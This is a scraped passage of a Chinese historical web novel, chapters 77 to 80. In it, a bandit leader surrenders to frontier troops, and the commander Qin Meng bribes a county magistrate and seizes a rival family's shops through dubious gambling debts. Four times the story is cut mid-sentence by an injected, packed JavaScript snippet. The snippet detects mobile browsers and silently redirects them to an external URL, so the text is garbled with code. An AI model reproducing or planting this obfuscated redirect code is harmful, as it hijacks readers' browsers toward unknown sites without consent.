这是二当家“双尾狐”韩勇,得好友告密说黑山熊严彪和索命虎黄奎已带队下山,正急忙回转山寨。
“二当家,您看这马蹄印!”一名心腹喽啰突然勒马惊呼。
韩勇俯身细察,面色渐渐凝重——山道上的马蹄印杂乱无章,显然是大股马队经过不久。
喽啰喜道:“莫非大当家得胜归来?”
韩勇却摇头,语气沉重:“不可能。边堡烽火相望,援**瞬即至,大当家若真去攻打,必定失败,逃脱几率渺茫,此刻怕凶多吉少。”
他本是边堡戍卒出身,深知边军厉害,多年来一直竭力约束山寨避其锋芒,从不敢主动招惹。
想到严彪竟背着自己贸然出击,韩勇心中五味杂陈。
这黑山熊虽恶贯满盈,当年却在他重伤濒死时救过他一命。
为报此恩,他才甘居山寨,常年在外经营皮货、药材生意,只想赚足银钱带众匪洗手上岸,可如今却要引火烧身。
看着地上杂乱而硕大的马蹄印,韩勇一眼认出是草原好马,瞬间猜到是官兵,甚至极有可能是边军。
他望了眼不远处的山寨,最终咬牙下令:“走,不回山寨了!”
“什么?”众多喽啰集体呆愣。
明明说好是赶回山寨收拾行囊、远遁他乡的。
一个身穿黑袍、兜帽遮面的人声音沙哑地劝阻:“韩当家,山寨就在前方,无论是收拾钱财远遁,还是固守待变,都是上策,为何不回?”
韩勇环视众人,沉声道:“再混乱的朝局、再腐朽的军队,也容不得山贼挑衅幽州虎贲军。”
他指着地面的马蹄印补充:“你们看,这多半是边军偏师留下的,搞不好山寨已经被拿下。
“我们此刻返回,就是自投罗网!”
一声无奈的长叹里,他在心里为严彪、黄奎等人默哀。
喽啰们一听是边军来袭,返回山寨敛财的欲望大减,谁也不愿为了身外之物而丢了性命。
唯有那黑袍人反复呢喃着“边军”,突然提出不同意见:“韩当家,边军来了,此乃好事哇!”
他攥紧缰绳,声音里满是愤怒、恐惧与不甘:“刘德福那群人,已经舍弃冷艳山这颗棋子。
还展开了灭口计划,你我还有诸位兄弟都在名单里,连我这个鞍前马后多年的心腹也没放过……”
“我偷听到消息后连夜出逃,侥幸逃出幽州城,可…可家眷却来不及带走。”
这黑袍人正是刘德福的心腹管事刘三,无意间偷听到书房的灭口计划后,连夜出逃刘府。第一时间找到在城内的生意伙伴兼好友韩勇。
两人商议后集合人手火速赶往山寨,想趁乱卷财远遁。
韩勇见状忙好言安慰:“三郎冷静,事情总有办法,他们没抓到你,心存忌惮,不至于动你的家人,以后总有机会,再把他们救出来。”
待山风吹散几分激动,刘三咬牙切齿道:“刘德福心狠手辣,还牵扯了不少人。他们绝不会放过我等,幽州已经没有我们的容身之所。”
“为了安全,不如投靠边军寻求庇护,我们知道许多他们的秘密,这就是筹码,边军肯定愿意护着我们,跟地方官府暗中交锋,讨好处。”
“理是这个理。”韩勇点头赞同,却又犹豫:“可山上,也有可能不是边军,是幽州厢军。”
“一试便知,我去!”刘三记挂家人安危,主动请缨。
韩勇也立刻跟上:“怎能少得了我?你我同行。”
见当家的都如此,喽啰们也纷纷响应,从者云集。拍着胸膛吆喝“算我一个”“怕个鸟”?
足见韩勇在众喽啰心中的威望。
最终韩勇点了十来人,准备好防具,再让其他人熄灭火把、牵马退入林子,在山下等候。
他自己则带着精锐低喝:“全体下马。”
月黑风高,山寨里灯火零星。
韩勇亲率十来个精锐悄步摸近,远远望见寨门紧闭,寨门、墙上喽啰的衣着,踱步如常。
可他却暗自嘀咕“怪哉”。
——山寨看似平静,门栅没损毁,却透着一股诡异。
除了风声再无其他动静,建筑区内一片黑暗,完全不是往日灯火通明,喽啰聚赌的松懈模样。
正迟疑时,破空声突然锐响。
“有埋伏!”韩勇大吼着急退,一支**箭擦着他的衣角飞过。
霎时间!
火把四起,寨墙上涌现出无数弓**手。
墙头的张富贵冷笑:“韩二当家,恭候多时了。”
“就带这么点人来,不是找死吗?”
原来,山间暗哨早发现了山下火光,悄悄汇报有人靠近,张富贵带队,故意设下圈套伏击。
韩勇心知中计,却临危不乱:“散开,火箭烧寨!”
匪众立刻散成扇形,弓弦响处,十数支火箭直扑寨墙。
可张富贵早备好湿毡,士卒们举毡一扑,箭矢大多坠地失效。
这时韩勇忽觉脑后生风,急忙转身架住一记重劈。
哐啷,火花四溅。
正是王铁山率队杀到。
“好贼子!”王铁山大喝一声,刀势如**。铁匠出身的他力量极大,耍的一手好刀。
韩勇勉力招架,虎口瞬间震裂,心中骇然:这身手绝不是普通军汉!
几个回合下来,韩勇渐感不支,连连后退入人群。
王铁山一把甩掉黑袍,露出底下的铁鳞甲,吼声如雷:“严彪、黄奎早已全军覆没,尔等还不归降?”
此时,部分军卒已排开阵势,眼看就要冲杀过来。
“是边军?”喽啰群里有人高声惊呼。
张富贵冷冷下令:“**手齐射,刀盾队包抄!”
嗖嗖的破空声
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418893|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不断,韩勇急忙指挥喽啰列阵用盾牌抵挡。可还是有两人中箭,惨叫着中箭。
不等军卒再次开弓,夜色中突然传来一声凄厉却果断的呼喊:“住手,我等投降!投降!”
黑袍人刘三飞奔而来:“诸位军爷,我们没有恶意,无心无边军为敌,只是回来收拾家当。”
“幽州漕运判官刘德福等人,已经派军来灭口了!”
“你们真是边军?”韩勇也大声喝问。
张富贵闻言制止手下,反问:“你们问这个做甚?”
“还有你说的刘德福派军灭口,又是怎么一回事?”
韩勇长叹一声,扔掉手中的刀:“此事说来话长,在下是冷艳山寨二当家双尾狐韩勇,常年在外经商买卖,从未参与过山寨龌龊事。”
“这事我们已经审出来了,不然之前会用强**齐射。”张富贵挥退军卒戒备,目光仍紧盯着韩勇。
韩勇随即指向黑袍人:“这位才是当事人,他是幽州刘家的管事刘三,是他先来告知我山寨变故的。”
刘三掀掉兜帽,露出一张满是恨意的脸:“军爷,我知道太多刘德福的秘密,所以被他列入了灭口名单。”
“前段时间,是我奉命带千石粮食、彩绸布匹和牲口好酒上山,唆使大当家严彪带队去攻打边堡的……”
他越说越恨,将事情经过言简意赅地讲了出来。
内容与之前酷刑审讯严彪等头目得到的口供分毫不差,张富贵和王铁山对视一眼,已然信了大半。
“那派军队灭口又是怎么回事?”张富贵追问。
刘三刚要回答,山下突然传来急促的马蹄声。
一个喽啰慌慌张张地跑上来:“当家,不好啦,山下来了大队官兵!”
刘三看着他,语气萧瑟:“来了,他们果然心狠手辣,是为了避免龌龊事败露,想趁着冷艳山寨空虚出兵剿匪,把所有知情人士都灭掉。”
“哼,打得好算盘。”张富贵冷笑一声,立刻下令:“韩勇,通知你的人退入山寨,咱们一同防守,我倒要看看幽州地方军队有多厉害。”
“富贵,这可是群匪……”王铁山脸色一变,凑近低声提醒。
张富贵却低声回应:“战机稍纵即逝,大人说过,用人不疑,疑人不用。”
随后,他又故意提高声音:“我相信韩勇、刘三兄弟,此刻,咱们互帮互助,共渡难关。”
王铁山恍然大悟,重重点了点头。
月光如洗,山寨里火光闪动。
随着命令下达,有人登上栅栏墙戒备,有人爬上箭楼瞭望,也有人驱赶着俘虏去架锅烧水。
圈里的两百头肥羊骤然惊醒,它们怕极了。
此起彼伏的“咩咩”声在空气中回荡。
张富贵站在寨墙上,望着山下渐渐逼近的火光。下令全体人员换上强弓,用三棱破甲箭。
无人察觉,斥候小队自后山分散离去,消失在夜色中。
第78章 夜宴与抉择
夜色如墨,青阳郡城华灯初上,点点灯火在暮色中连缀成一片暖光。
县衙后堂内,角落铜炉熏香袅袅,沉水香的清雅气息在空气中缓缓流淌。
门前一树蜡梅悄然绽放,冷香暗送,与室内暖意交织成独特氛围。
韩知县端坐灯下,身形挺拔,面白无须,眉目间既有儒雅书卷气,又不失三分官威。
一袭青色官袍更衬得他气质清肃庄重。
他是正经科举出身,从童生、秀才到举人,一步一个脚印踏上仕途,官至青阳县令。
任上虽无显赫政绩,却也保得一方民生安泰,百姓尚能安居乐业。
暗地里虽有些灰色进项,多是与商旅便利。
他无根无基,全凭自己苦心经营,从不敢过分放肆。
秦猛得了常胖子等人的线报,早已摸清他的底细。
此番登门,特意备了一份礼,既不过分张扬,也不失礼数。
韩齐闻知这位新晋知寨到访,不敢怠慢,开宴相迎。
秦猛只带袁飞、**二人入席,显得颇为低调。
桌上二十余碗碟次第铺开,嫩鸡、肥鸭、烧鹅俱全,各色时蔬搭配得当。
这世道的菜肴不求精细,唯重实在,不是炖便是煎炒,不似后世那般讲究,却自有丰盛气象。
袁飞、**皆苦出身,见这等油水丰足之宴,哪顾什么礼数?
当即埋头猛嚼,吃得满嘴油光。
秦猛则与韩知县觥筹交错,言笑甚欢。
烛光下,二人各怀心思,表面却是一团和气。
韩齐是正经文官出身,言谈间自是之乎者也,引经据典。
而秦猛来自后世,虽未读过八股策论,却自幼浸染华夏文脉,偶尔一句“吾日三省吾身”,或“有则改之,无则加勉”,是句句扎心见血。
韩齐初时,只道他是粗鄙武夫,不料几句下来,心底骇浪翻涌,连声赞叹:“将军大才!”
袁飞停了筷子,斜眼瞅着秦猛,面上露出古怪神色。
这厮杀汉明明**如割草,一身悍气,说起话来却文绉绉的,怎么看怎么别扭。
唯有**闷头吃喝,心中傲然:咱将军就是厉害,文武双全。
这般想着,他又狠狠咬了一口肥鸭,满口流油。
酒过三巡,菜尝五味。
宴席间的气氛越发融洽,却各怀心思。
韩齐引众人转入暖阁,命人奉上新茶。
暖阁内布置雅致,墙上挂着山水墨画,文椅相对摆放。
“此乃江南商人所赠的雨前龙井,秦将军请品。”韩齐亲自执壶,为秦猛斟茶,举止从容有度。
秦猛轻啜一口,但觉茶汤清洌,初尝微苦,而后回甘绵长,确属上品,不禁赞道:
“好茶!韩兄雅致,秦某佩服。”
放下茶盏,他神色一正,目光变得锐利:“实不相瞒,此番叨扰,有三件事请韩兄相助。”
韩齐执壶的手微微一顿,随即恢复如常,温声道:“将军但说无妨,只要在韩某权责之内,定不推辞。”
言语间既显热忱,又留足余地,可谓滴水不漏。
“皆在权责之内。”秦猛笑容意味深长,随即说起南河镇刘德才之子刘耀宗——欺男霸女、滥赌败家、无恶不作,细数其罪状,语气渐冷。
韩齐听得心头暗紧,手中茶盏险些拿不稳:人都**,还不放过?
但他面上仍作愤慨,拍案道:“刘家父子确有许多不法之事,下官在任上也曾有所耳闻。”
秦猛击掌数下。
**立即从腰间解下一只布袋,快步上前,动作利落。
袋中是一叠地契、十几张借据欠条,纸张泛黄,却叠得整整齐齐。
“半月前,刘耀宗在赌坊输于我,以此抵债。”秦猛轻推纸卷,语气淡然,仿佛在说一件再平常不过的事。
韩齐怔了怔,良久,才回过神。
他逐一验看——地契纸质泛黄、衙印清晰。
欠条格式工整,博戏双方、借款者、保人一一画押,连指印都鲜红清晰,乍看之下毫无破绽。
只是那赌坊名字荒唐:“野鸡坊”、“烤鸭馆”……输钱数额仅以“甚多”概括,担保人竟还写着“王槐”。
韩齐不是傻子,自然明白其中蹊跷。
他翻动纸卷,心思电转:前几日刘家人还来补办田产地契,说遭火焚毁,怎会全数在此?
这其中的弯弯绕绕,他再清楚不过。
“秦将军,”他神色转为肃然,斟酌着用词,“旬日前,刘家遭火,诸多契据焚毁,这些……”
“那是他们胡说!”秦猛冷笑打断,目光如刀,“明明输给了我,不甘心,便放把火烧宅搪塞。
说不准刘德才、刘耀宗也是金蝉脱壳,假死遁逃!”
韩齐眼皮一跳,牙根暗暗发酸。
本县城巡检司,县衙多方勘验,人,却是**。
这秦猛看似粗豪,实则词锋如刀,狠辣至极!
他不由得重新审视眼前这位年轻的知寨官。深吸一口气,稳住心神:“韩某还听闻,将军半月前似乎……”
“是,我那时神智昏聩。”秦猛坦然接话,毫不避讳,“但按律:我输钱不作数,别人输我却必须认!连个痴傻之人都玩不过,还有脸赖账?”
韩齐被噎得无言以对,只得苦笑。
这话虽属强词夺理,却在法理上站得住脚,让他一时不知如何反驳。
半晌,他才叹道:“秦兄此举,便是与刘判官不死不休了。”
语气中带着几分提醒,几分试探。
“我知道。”秦猛笑容骤冷,眼中寒光乍现,“他断我粮道、封我漕运,公然针对边寨叫板边军——我若不办他,日后阿猫阿狗都能踩我一脸!”
“可这……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418894|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
韩齐眉头紧锁,仍在犹豫。
他明白秦猛是来报复的,手指无意识地摩挲着茶盏边缘。
秦猛自怀中取出两张银票,面额千两,推至对方眼前。
银票在烛光下泛着柔和的光泽,显得格外诱人。
“秦兄,这不是钱的事!”韩齐瞥了眼银票数额,心跳慢了半拍,却仍强绷着脸,语气坚决。
“若如此,便是彻底得罪刘判官,乃至整个幽州官场……韩某相帮,便是对立,今后寸步难行。”
这话说得恳切,却也透露出几分真实处境。
“那是你身后无人倚仗,又挤不进他们的圈子。”秦猛恍然大悟,一针见血,字字诛心。
“他们高高在上,几时正眼看过你?韩兄寒窗苦读十余载,难道就甘心永远做个区区县令?”
韩齐面色青白交错,手中的茶盏微微颤抖。心里头脑怒秦猛是点滴不留情面,却没有发错。
——这话戳中了他内心最深处的痛处和野望。
秦猛忽又从怀中取出几封密信与一册文书,塞入他手中。
“这是冷艳山贼首严彪身上所获密信,及审讯所得供词。”
秦猛声音压得很低,却字字清晰,“其中所载罪行,可谓罄竹难书。韩兄可自行决断。
——看,或是不看?”
他目光如炬,紧紧盯着韩齐:“看了,便再无退路,须择木而栖;不看,现在还可抽身,我去找郡守商议此事,就当今日之事从未发生过。”
韩齐指尖微颤,那册子没有封皮,薄薄的非常轻,此刻仿佛烙铁般滚烫,几乎要灼伤他的手指。
耳边如有两个声音在交织:一看则万劫不复,前程尽毁;一曰读书人风骨不可弃,初心不可负!
冷汗沁满额间,时间滴答如坠。
暖阁内静得可怕,只有烛火偶尔爆出轻微的噼啪声。
最终他一咬牙,眼中闪过决然之色,展开册页,拆阅密信——才看数行,脸上血色尽褪,继而怒意奔涌,咬牙切齿,几乎目眦欲裂。
“该死…该杀!此等行径,与谋反何异?”
他气得发抖,声音发颤,握着文书的手指因用力而发白。
册中所载血案累累,丧尽天良,令人不寒而栗。彻底击碎他为官的底线,亦点燃深埋的士人血性。
良久,他才颓然长叹,仿佛一下子老了十岁:“不想幽州官场,已腐至如此……若非亲眼所见,实在难以置信。”
秦猛收回文书,冷声道:“刘德福不过是小卒,此次必须得死。不然,有些人又得肆无忌惮。”
韩齐深吸一口气,毅然抬头,目光已然不同:“**偿命,欠债还钱——天公地道!地契,欠条让专人核验过后,若是真,便依律办事。”
他语气坚决,已然做出抉择。
——不屑与幽州地方为伍,站队边军又有如何?
第79章 谋定而后动
“梆梆……”衙门外,两声梆子,有规律的响起。巡夜的更夫扯着嗓子:“天寒地冻,小心火烛。”
“好,那多谢韩兄相助!”秦猛看了眼窗外,又看了看韩齐,脸上露出真诚的笑,拱手道谢。
他不动声色地卷起两张银票,塞入对方手里。
韩齐只觉得银票沉甸甸的,突然提醒,神色凝重:“然此地终是郡城,上有郡守、郡丞。
尤其董郡丞与刘判官相交莫逆,此事恐怕不会如此简单……”
“韩兄只需出具公文,出榜安民,余事不必忧心。”
秦猛淡然一笑,语气中带着不容置疑的自信,“董郡丞?区区地方豪强,还翻不起风浪。牵扯到此事,他识趣便罢,不识趣一起拔掉。”
韩齐心中凛然,对秦猛认知再次刷新。想起他一言不合就斩杀巡检使臣,后脊莫名有凉意。
秦猛站起身,走到窗前,望着窗外沉沉的夜色,缓缓道:“你只管放手去做,被上官问起时,你推到我身上,就说我这人亮刀子威胁。
顺便站在受害者的立场上,痛斥我粗鲁野蛮。
即便是幽州那帮人得知了,也不会把你怎么样。”
“呃……”韩某看着很有经验的秦猛,彻底呆住了。
秦猛转过身看着韩齐,说着看过的职场论调:“无论做什么要随机应变,有时要骗过自己。
你想要在官场上走得更远,就得跟人抱成团。团结一切可以团结的力量,自己动手去争取。
你可以收集各方面信息,挑选对自己有利的。等时机成熟,攮翻姓董的,你来做这个郡丞。”
“啊……”韩齐差点从椅子上蹦起来,心脏却砰砰狂跳。在这一刻,他似乎看到了仕途一片光明。
“韩兄要记住了!秦某在一日,便无人能动你。虎贲军——就是我的靠山,也是你的底气。”
这话说得掷地有声,带着千钧分量。
韩齐怔怔地望着他,忽然觉得这个年轻人身上有一种令人信服的力量,让他这个在官场沉浮多年的老吏也不由得心生敬畏,自惭形秽。
秦猛又落坐回原处,续了杯茶,氤氲着热气。粗粝的手指摩挲着杯沿,目光如炬,坦言道。
“还有两桩买卖,韩大人不妨听听。”
他吹了吹浮末,啜了口茶,声音沉缓。“县衙替我军寨采办粮草,市价结算支付,这中间的差价…自然就是县衙兄弟们的跑腿钱。”
韩齐眼中精光一闪,含笑:“好,秦将军爽快!这辛苦钱,衙门里弟兄定然念您的好。”
秦猛拍了拍手掌,**心领神会,走到门口,不一会儿,拎着小布袋放在茶几上,打开袋子。
露出里面雪花似的白盐。
秦猛轻声笑道:“这是南河雪盐。”
“这是…盐?”韩齐眼睛瞪圆,不相信的询问。
他将信将疑地伸手捏了一撮,放入嘴里品尝,闭目感受半晌后,赞叹:“好盐,好盐呐!”
秦猛倾身向前,压低声音:“这就是第二件事,是雪花盐的路子。我让一成干股到你名下。
你别以为这一成少,得这种盐极为不易。借你官盐的旗号通行四方。利,咱们私下分。”
韩齐指节轻叩桌面,笑声干脆:“哈哈哈,将军这是要把韩某绑上铁血军寨的快船上啊。”
秦猛眉头挑了挑:“这可是好路子,绝非坑你。比你从商队手里获得好处更安全。可以杜绝黑心商队资助草原鞑虏,把你牵扯入其中。”
“成,这富贵,我加入!”韩齐摆手,干脆地答应。
此行三件正事谈完了,秦猛看似随意地添了句:“对了,城里流民不少,县衙顺手发个告示,招些流民去我寨子垦荒。分田给屋,管饱。”
“那真是太好了!”韩齐闻言大喜过望,霍然起身:“这件事,包在我身上,保证办得妥帖。”
“你这么高兴,吃了蜜蜂屎啊?”秦猛斜着眼问。
“不不,秦将军有所不知,韩某当这个县令当的窝心。”韩齐见秦猛似乎误会了,赶忙解释。
原来,青阳郡城,县衙,郡衙并存。
在这里当知县,被上官管着,权力被大为削弱。
县衙负责税收,田赋,户籍造册等事。除了有三班六房使唤,职责竟跟老保长王槐差不多。
城内设有郡县安置所专门安顿流民,听命于郡丞。
按律,流民不是被官府遣送返乡,就是就地安置,登记造册吸纳,发放荒地,支取钱粮补助。
而流民没有被安置,可见安置所官吏的不作为。韩齐多次陈述情况,郡衙依旧没有回应。
要不是他放粮,引导流民前往边堡,流民只会更多。
“行吧,以后若是有流民,都引导去铁血军堡落户。”秦猛搞清楚情况后,大包大揽地说道。
“好,韩某竭力办妥。”韩齐满口答应。
既然已经选择了阵营站队,他便不再犹豫。
当即召来户房书吏、承发吏,连夜核验地契,签发公文。
当那方官印重重落在公文上时,发出“咚”的一声闷响,仿佛敲定了某个重要的约定。
烛影摇曳中,两人相视一笑,一切在不言中。
窗外,夜色正浓,青阳郡城的灯火渐次熄灭。
而一场更大的风波,正在悄然酝酿。
夜深,秦猛告辞离去,带队返回军营。
他手握青阳县衙公文,又有县衙三班衙役随行,底气十足。根本不在意郡衙那边会作何反应。
——按规矩办事,讨回自家产业,天经地义!
“明日一早,按计划行事。”秦猛语气冰冷,目光扫过众人,“该拿回来的,一分都不能少。”
“是!”众人轰然应诺。
……
次日,天色阴沉,朔风卷着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418895|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
寒意呼啸而过,吹得街边幌子猎猎作响。
温度骤降,街上行人稀疏,直到日上三竿时分,才渐渐多了些人迹。
商队却依旧络绎不绝,驼铃轻响,马蹄清脆。踏过青石板路,为这座边城添了几分喧闹。
青阳郡城最好的地段,一座三层高的酒楼“清风楼”正是热闹之时。雕梁画栋、酒旗高悬,乃是城中数得上号的大酒楼,也正是刘家产业之一。
堂内人声鼎沸,跑堂伙计笑脸招待,高声吆喝。
“这位爷,您吃点啥?”
“来喽——热腾腾的驴肉火烧!”
“客官,您要的好酒,请慢用。”
……
伙计,酒保穿梭酒窖、伙房,几乎脚不沾地。
杯盘碰撞声、谈笑声不绝于耳。
新来的掌柜低头扒拉着算盘,眼角余光扫过满座宾客,心中暗喜,正自盘算能从中捞取多少油水。
就在这时,街头忽然传来隆隆马蹄声,沉重整齐,震得地面微颤!
一队铁甲官兵纵马驰至,骤然停在酒楼门前。
身后紧随而来的,是县衙快班、壮班二十多号人马,黑衣皂靴,腰佩铁尺锁链,气势汹汹。
庞仁一马当先,身上铁甲铿锵作响,大步闯入酒楼,小眼扫视,箭步冲到柜台旁,一把揪住那掌柜的衣领,几乎将他整个人提了起来!
那掌柜又惊又怒,挣扎着喊道。
“你、你们是什么人!敢在幽州刘家的地盘撒野?”
“啪啪……”
庞仁冷笑一声,正反手就是几个大嘴巴的呼在他脸上:“好大的狗胆,竟敢抢夺大人产业?”
酒楼大厅,许多食客见到这一幕,吓得从椅上蹦起来。撞到桌子,哐啷,陶瓷杯盘清脆声响。
“不**们的事,继续吃,大人有令,酒水一律半价。”庞仁转过头,朝酒楼众多食家笑了笑。
他从怀中掏出欠条和酒楼地契,“啪”的一声拍在桌上:
“看清楚了!这清风楼,早已不是刘家产业,是你们说不起帐,抵赖,它现在归秦猛秦大人所有。”
“不错,经过衙门证实,此家酒楼已经抵债他人。”快班头目立刻跳出来,朗声为食客们解释。
门外,衙役早已张贴告示,有人敲锣高声宣告,将刘耀宗赌输产业、抵债于秦猛之事说得一清二楚。
百姓围得水泄不通,议论纷纷,指指点点。
常九早已安排好了人手,立刻上前接手账册、清点库房,酒窖等,俨然已是新掌柜的模样。
“这是刘老爷的产业,你们这群强……”那原掌柜还要叫骂,却被讨好庞仁的快班头目一脚踹翻在地:“滚,再啰嗦,老子打断你的狗腿!”
衙门来人个个得了好处,自然卖力。
至于刘家?哪比得上落进口袋的真金白银!何况幽州府城离这里数百里,秦将军的刀更快!
第80章 郡城风云变
清风酒楼易主,只是开始!
秦猛昨夜就将手下分作数队,各由亲信带领。
常勇领着二十个兵卒,列队站在“瑞祥布庄”门前。
伙计出来准备招揽生意,见这阵仗顿时僵在原地。
常勇也不废话,大手一挥,兵卒们立刻上前控制住门口,他则提着腰刀,大步跨入店内。
此时,布庄里已有几位熟客挑拣绸缎,见官兵闯入,吓得纷纷后退。
掌柜是个微胖的中年汉子,正坐在柜台后拨算盘,见此情景猛地拍案站起,尖着嗓子喊:“你们是何人?敢闯刘老爷的布庄?不想活了?”
常勇眼神一冷,这虬髯汉子人狠话少,没理会他的叫嚷,径直走到柜台前,将地契和公文“啪”地拍在桌上:“刘家欠秦大人债务,此布庄已抵债。
识相的,立刻交出账册钥匙,否则别怪刀不认人!”
“放屁!”掌柜气得脸红脖子粗,伸手就要去推常勇的胳膊,“刘老爷在幽州有人脉,你们这是强抢。等刘老爷回来,定要你们吃不了兜……”
这话刚落,常勇反手就是一巴掌,甩在他脸上。
“啪”的一声脆响,掌柜被打得踉跄着撞到身后货柜,绸缎滚落一地。
“刘老爷?此布庄不是幽州刘家所有,乃刘德才家产,他儿子都欠账抵产了,还敢拿他吓唬人?”
常勇上前一步,脚踩在滚落的绸缎上,语气带着狠劲,“再敢叫一句,我卸了你胳膊!”
掌柜捂着脸,又疼又怕,却仍硬撑着哭喊:“你们这群强盗,这是刘老爷的产业,我死也不交!”
常勇不再跟他废话,冲身后兵卒使个眼色,两名兵卒立刻上前,架起掌柜的胳膊就往外拖。
掌柜挣扎着嚎啕大叫,踢翻了柜台前的凳子,却被兵卒死死按住,拖到布庄门外扔在地上。
解决了掌柜,常勇招手让常家派来的新管事进来:“立刻清点货物、核对账册,半点差错都不能有。”
“是!”新管事应声上前。
兵卒们则在店内巡视,维持秩序。
“诸位,这家布庄现归秦大人所有。大人有令,不愿干自行离去,愿意留下例钱上调半数。”
常勇又把前厅伙计,后院染布的伙计婆子召集。出示地契和官府公文,并且直接许诺好处。
顿时就让布庄伙计婆子欢欣鼓舞。
原本喧闹的布庄,片刻间便被接管得井井有条。
与此同时,城内“顺风马行”内也是一片动静。
**带着兵卒冲入马行时,马夫们正牵着马在院子里喂食,见官兵闯入,吓得纷纷躲到马厩后。
马行掌柜是个高瘦汉子,腰间别着把短刀,见状立刻拔刀指向**:“放肆,你们敢擅闯?”
“啧啧啧,此地乃我家将军产业,王某为何不能来?”**嘲讽一笑,甩出地契和官府公文。
“此处车马航被抵债,官府核验,已归秦猛大人。”
“放屁,敢动刘老爷的马行,我先劈了你!”那马行掌柜闻言勃然大怒,直接抽出腰间刀子。
**嗤笑一声,手中**一挑。
“当”的一声,打飞那掌柜的短刀。
短刀钉在院墙上,刀柄还在微微颤动。
掌柜吓得脸色煞白,**已上前一步,伸手给他一耳光,揪住他的衣领,将人提得离地半尺。
“刘德才欠秦大人的债,这马行是秦大人的产业。刘德福也敢插手?交账册,还是挨揍,选一个!”
“我选你娘!”掌柜色厉内荏地叫骂,抬腿就要踢**。
**眼神一厉,手臂一甩,将掌柜狠狠摔在地上。不给他爬起来的机会,用脚重重地踩踏。
咔嚓,
那汉子发出杀猪般的惨叫,挣扎着要爬起来。
**的脚已踩在他胸口,力道大得让他喘不过气。
“还敢嘴硬?”**冷哼:“刘德福要真手眼通天,就不会使用见不得人的伎俩,今天这马行,老子收定了。”
掌柜被踩得动弹不得,只能趴在地上哭喊:“老爷不会放过你们的,郡丞大人也不会饶了你们!”
**懒得跟他纠缠,冲兵卒喊:“把他拖出去,别在这碍眼。再敢袭击边军,当场格杀。”
“是!”
两名兵卒上前,像拖死狗一样把掌柜拖出了马行。
随后,**让衙役张贴告示,又让新管事清点马匹、车驾和账册。
马行里的马夫们见掌柜被收拾,没有人敢反抗,只能乖乖配合。
不过新马行管事宣布例钱上涨后,人人兴奋。自己拿钱办事,马行到底归属谁与他们何干?
“顺风马行”的牌子虽还挂着,内里却已换了主人,一切都在**的掌控下,有条不紊地推进着。
安顿好后,他又率队赶往下一处。
短短半个时辰,青阳郡内风云骤起!
凡隶属刘德才名下的粮油铺、布庄、茶坊、首饰店等十来处铺面,竟尽数易主。
就连郡城周边南河镇、双塔镇、北狼口集等地的刘家产业,也遭遇了同样的命运!
尤其是常九最为看重的南河镇码头,也未能幸免。
地契、欠条开路,官府公文保驾护航,一句“欠债还钱,天经地义”,便让这些产业被强行收走。
这便是秦猛的手段,一力破万法!
既然不讲规矩、撕破脸皮,便休怪他人不拘律法、以手段反制。
刘德福安
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418896|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
插的掌柜、管事们,要么被直接扔出门外,要么挨了顿拳脚,叫骂越凶,打得越狠!
若是嚣张蛮横之辈,如亮出刀子,更是被打断手脚,像条死狗般狼狈。
最终,这群人鼻青脸肿、瘸着腿,一窝蜂奔往就近衙门告状,可集镇官署竟无一人敢受理。
唯独青阳郡城的郡丞衙门“头铁”。
十来个掌柜带着心腹齐聚门口,击鼓鸣冤、哭嚎震天。
他们多是从幽州而来、彼此相识,三五成群地哭诉遭遇、骂声不断,引来了大批百姓围观。
可县衙早已张贴的榜文,早已扭转了民心——
“呸!臭不要脸,欠债还钱,输不起就别玩。”
“就是!秦大人几次沟通都被欺压,听说还被打伤。我记得这件事,如今上门讨债,还有脸来告状?”
“那刘扒皮本就坏事做尽,连清风楼都是他抢来的!”
在人群中有心人的引导下,被欺压的人旧事重提。百姓们纷纷附和,**彻底倒向“受害者”秦猛。
郡丞董袭闻讯后,勃然变色。
待他看到心腹揭来的榜文,更是惊出一身冷汗。
他这才恍然大悟:
秦猛哪是来抓捕奸细,分明是借此事与县衙串通,巧立名目、合理合法地抄没刘家产业。
